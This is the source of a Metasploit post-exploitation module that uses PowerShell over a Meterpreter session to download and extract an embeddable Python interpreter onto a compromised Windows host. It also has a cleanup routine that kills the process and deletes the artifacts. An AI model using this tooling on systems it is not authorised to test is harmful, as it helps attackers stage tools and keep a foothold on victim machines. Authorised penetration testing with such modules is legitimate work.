Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Common
8
  include Msf::Post::File
9
  include Msf::Post::Windows::Powershell
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Install Python for Windows',
16
        'Description' => %q{
17
          This module places an embeddable Python3 distribution onto the target file system,
18
          granting pentesters access to a lightweight Python interpreter.
19
          This module does not require administrative privileges or user interaction with
20
          installation prompts.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => ['Michael Long <bluesentinel[at]protonmail.com>'],
24
        'Arch' => [ARCH_X86, ARCH_X64],
25
        'Platform' => [ 'win' ],
26
        'SessionTypes' => [ 'meterpreter'],
27
        'References'	=> [
28
          ['URL', 'https://docs.python.org/3/using/windows.html#windows-embeddable'],
29
          ['URL', 'https://attack.mitre.org/techniques/T1064/']
30
        ],
31
        'Notes' => {
32
          'Stability' => [CRASH_SAFE],
33
          'Reliability' => [],
34
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
35
        }
36
      )
37
    )
38
    register_options(
39
      [
40
        OptString.new('PYTHON_VERSION', [true, 'Python version to download', '3.8.2']),
41
        OptString.new('PYTHON_URL', [true, 'URL to Python distributions', 'https://www.python.org/ftp/python/']),
42
        OptString.new('FILE_PATH', [true, 'File path to store the python zip file; current directory by default', '.\\python-3.8.2-embed-win32.zip']),
43
        OptBool.new('CLEANUP', [false, 'Remove module artifacts; set to true when ready to cleanup', false])
44
      ]
45
    )
46
  end
47

48
  def run
49
    python_folder_path = File.basename(datastore['FILE_PATH'], File.extname(datastore['FILE_PATH']))
50
    python_exe_path = "#{python_folder_path}\\python.exe"
51
    python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
52

53
    # check if PowerShell is available
54
    psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
55
    unless file? "%WINDIR%\\System32#{psh_path}"
56
      fail_with(Failure::NotVulnerable, 'No powershell available.')
57
    end
58

59
    # Cleanup module artifacts
60
    if datastore['CLEANUP']
61
      print_status('Removing module artifacts')
62
      script = 'Stop-Process -Name "python" -Force; '
63
      script << "Remove-Item -Force #{datastore['FILE_PATH']}; "
64
      script << "Remove-Item -Force -Recurse #{python_folder_path}; "
65
      psh_exec(script)
66
      return
67
    end
68

69
    # download python embeddable zip file
70
    script = '[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;'
71
    script << "Invoke-WebRequest -Uri #{python_url} -OutFile #{datastore['FILE_PATH']}; "
72
    print_status("Downloading Python embeddable zip from #{python_url}")
73
    psh_exec(script)
74

75
    # confirm python zip file is present
76
    unless file? datastore['FILE_PATH']
77
      fail_with(Failure::NotFound, "Failed to download #{datastore['PYTHON_URL']}")
78
    end
79

80
    # extract python embeddable zip file
81
    script = "Expand-Archive #{datastore['FILE_PATH']}; "
82
    print_status("Extracting Python zip file: #{datastore['FILE_PATH']}")
83
    psh_exec(script)
84

85
    # confirm python.exe is present
86
    unless file? python_exe_path
87
      fail_with(Failure::NotFound, python_exe_path)
88
    end
89

90
    # display location of python interpreter with example command
91
    print_status('Ready to execute Python; spawn a command shell and enter:')
92
    print_good("#{python_exe_path} -c \"print('Hello, world!')\"")
93
    print_warning('Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead')
94
  end
95
end
96

97